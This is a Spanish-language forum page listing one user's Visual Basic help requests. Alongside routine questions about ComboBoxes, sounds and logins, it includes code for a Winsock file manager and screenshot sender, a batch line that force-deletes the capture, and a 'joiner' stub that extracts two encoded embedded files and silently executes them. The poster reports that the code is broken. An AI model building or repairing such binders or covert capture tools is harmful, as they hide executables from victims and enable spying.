| |
 Mostrar Temas
|
|
Páginas: [1] 2
|
|
2
|
Programación / Programación Visual Basic / Problema file manager
|
en: 4 Abril 2007, 13:10 pm
|
Hola soy yo el pesao de siempre  bueno pues estoy trabajando en el file manager y tengo un pequeño problema,hago un bucle para listar los archivos,lo envio y lo añado a un listview,peor claro me lo añade todo en una columna y junto,lo quiero evidentemente separado,no en la msiam columna este.exeaquello.jpg etc... aqui el code. Servidor: Dim i As Long
For i = 0 To File1.ListCount - 1
ws.SendData "list" & File1.List(i)
Next
Cliente: If Left(datos, 4) = "list" Then
Set x = ListView1.ListItems.Add(, , datos)
He probado con sleep en el server o en un timer y hace lo mismo. Espero sus respuestas gracias y saludos. |
|
|
|
|
3
|
Programación / Programación Visual Basic / Problema al escribir
|
en: 1 Abril 2007, 22:53 pm
|
Hola,tengo un problema siempre que abor algo,como output por ejemplo y escribo aparecen caracteres.ej: Open "c:\test.bat" For Output As #1
Write #1, , "@echo off" & vbNewLine
Write #1, , sdata(1)
Close #1
y en el bat sale esto: ,"@echo off
"
,"del /f/s/q capture12.jpg"
Esas comas y comillas,de donde salen??? |
|
|
|
|
4
|
Programación / Programación Visual Basic / Problema enviar archivo
|
en: 1 Abril 2007, 00:41 am
|
Hola,veran este codigo no me va para hacer lo que quiero,enviar una imagen recibirla,y cargarla en un picture. Servidor: dim ar as string
Open "c:\capture.jpg" For Binary As #1
ar = Space(LOF(1))
Get #1, , ar
Close #1
WS.SendData "paco|" & ar
Cliente: Case "paco"
Dim ar As String
Open "c:\captura1.jpg" For Binary Access Write As #1
Put #1, , sData(12)
Close #1
Form4.Picture1.Picture = LoadPicture("c:\capture.jpg")
Aqui debe estar el problema,he probado en vez acces write solo binary y la verdad no se que puede pasar,supongo que todo el code esta bien,lo he hecho yo pero deberia funcionar y no me va. De antemano muchas gracias. Saludos. |
|
|
|
|
5
|
Programación / Programación Visual Basic / Reproducir sonido
|
en: 13 Enero 2007, 19:12 pm
|
|
Hola,me gustaria saber como reproducir un sonido,el caso es que cuando lo intento,se abre el reproductor,porque lo que hago es ejecutar el archivo no reproducirlo.
Gracias de antemano.
|
|
|
|
|
6
|
Programación / Programación Visual Basic / Problema ComboBox
|
en: 18 Diciembre 2006, 21:09 pm
|
Hola,quiero llenar un combobox,con el texto que tenga en un archivo .txt.Pero solo quiero que se cojan 10 de las palabras del texto,el texto se llena con lo que se introduce en el combobox,es decir un historial,que la palabra que metemos,se mete en el txt,y luego,nos aparezca en el combobox,como que se ha buscado. aqui el code: Dim cadena() As String
Dim i As Byte
Open App.Path & "\log.txt" For Input As #1
For i = 1 To 10
Line Input #1, cadena(i)
Next i
Close #1
Combo1.AddItem cadena(i)
Open App.Path & "\log.txt" For Append As #1
Print #1, Combo1.Text
Close #1 Bueno,lo de eliminar o sobreescribir,lo sé,pero lo de llenar el combobox no. |
|
|
|
|
7
|
Programación / Programación Visual Basic / Joiner simple(en que fallo??)
|
en: 17 Noviembre 2006, 21:59 pm
|
Hola,estoy un poco desesperado,estoy haciendo un joiner y no me va,asique pongo el code,a ver si vesi algun error: Private Sub Command1_Click()
cd.ShowOpen
Text1.Text = cd.FileName
End Sub
Private Sub Command2_Click()
cd.ShowOpen
Text2.Text = cd.FileName
End Sub
Private Sub Command3_Click()
Dim tamaño As String
Dim total As String * 9
Dim encriptacion As String
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim tamaño2 As String
Dim total2 As String * 9
Dim encriptacion2 As String
Dim ruta As String
cd.ShowSave
ruta = cd.FileName
FileCopy App.Path & "\hen.dll", ruta
Open Text1.Text For Binary As #1
tamaño = LOF(1)
Get #1, , tamaño
Close #1
tamaño = HuffmanEncode(tamaño, True)
total = Len(tamaño)
Open Text2.Text For Binary As #1
tamaño2 = Space(LOF(1))
Get #1, , tamaño2
Close #1
tamaño2 = HuffmanEncode(tamaño2, True)
total2 = Len(tamaño2)
extension1 = Right$(Text1.Text, 3)
extension2 = Right$(Text2.Text, 3)
Open ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , tamaño
Put #1, , tamaño2
Put #1, , total
Put #1, , total2
Put #1, , extension1
Put #1, , extension2
Close #1
MsgBox "Archivos juntados!", , "Trébol Joiner v.1"
End Sub
Private Sub CommandXP1_Click()
End Sub
Private Sub CommandXP4_Click()
formjoin.Hide
Form1.Show
End Sub
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
STUBB:
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim total As String * 9
Dim total2 As String * 9
Dim a2 As Long
Dim b2 As Long
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim archivo1 As String
Dim archivo2 As String
Dim tamaño As String
Dim tamaño2 As String
Dim desn1 As String
Dim desn2 As String
Dim ruta As String
ruta = App.Path & "\" & App.EXEName & ".exe"
Open ruta For Binary As #1
Seek (1), LOF(1) - 25
Get #1, , total
Get #1, , total2
Get #1, , extension1
Get #1, , extension2
Close #1
archivo1 = Trim(extension1)
archivo2 = Trim(extension2)
a2 = Trim(total)
b2 = Trim(total2)
tamaño = Space(total)
tamaño2 = Space(total2)
Open ruta For Binary As #1
Seek (1), LOF(1) - (a2 + b2 + 25)
Get #1, , tamaño
Get #1, , tamaño2
Close #1
desn1 = HuffmanDecode(tamaño)
desn2 = HuffmanDecode(tamaño2)
Open ruta & "c:\uno" & "." & extension1 For Binary As #1
Put #1, , desn1
Close #1
Open ruta & "c:\dos" & "." & extension2 For Binary As #1
Put #1, , desn2
Close #1
ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & extension1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos...
ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & extension2, vbNullString, vbNullString, 1
End
End Sub
Gracias y saludos. |
|
|
|
|
8
|
Programación / Programación Visual Basic / Problema joiner
|
en: 11 Noviembre 2006, 23:21 pm
|
|
La api shellexecuteA me da 'no se encontó el metodo o miembro de datos' eso me lo dice a .hWnd
Que pasa?He mirado el code y esta bien.
La api he hecho copiar pegar,y no puede ser que haya copiado mal o que en el sitio estuviera mal porque lo he hecho de sitios diferentes,y varias veces para ver si era eso.
El hwnd esta perfectamente declarado.
|
|
|
|
|
9
|
Programación / Programación Visual Basic / ProgressBar
|
en: 11 Noviembre 2006, 13:35 pm
|
|
Hola,tengo dos dudas sobre esto,la primera es que estoy haciendo un joiner y quiero que cuando le den a juntar,el progressbar muestre el estado de la operacion,pero no me sale.
Lo otro es que el progressbar del vb es muy feo y he visto que algunos tienen distintos progressbar(ej:cactus joiner)de donde lo sacan?
Gracias y saludos.
|
|
|
|
|
10
|
Programación / Programación Visual Basic / Duda
|
en: 4 Noviembre 2006, 16:06 pm
|
|
Hola,me gustaria saber como se hace (en vb) para que se puedan registrar,poner un nombre de usuario y pass,y luego logearse,imagino que con base de datos,pero no se exactamente como hacerlo.
Gracias y saludos.
|
|
|
|
|
|
| |
|
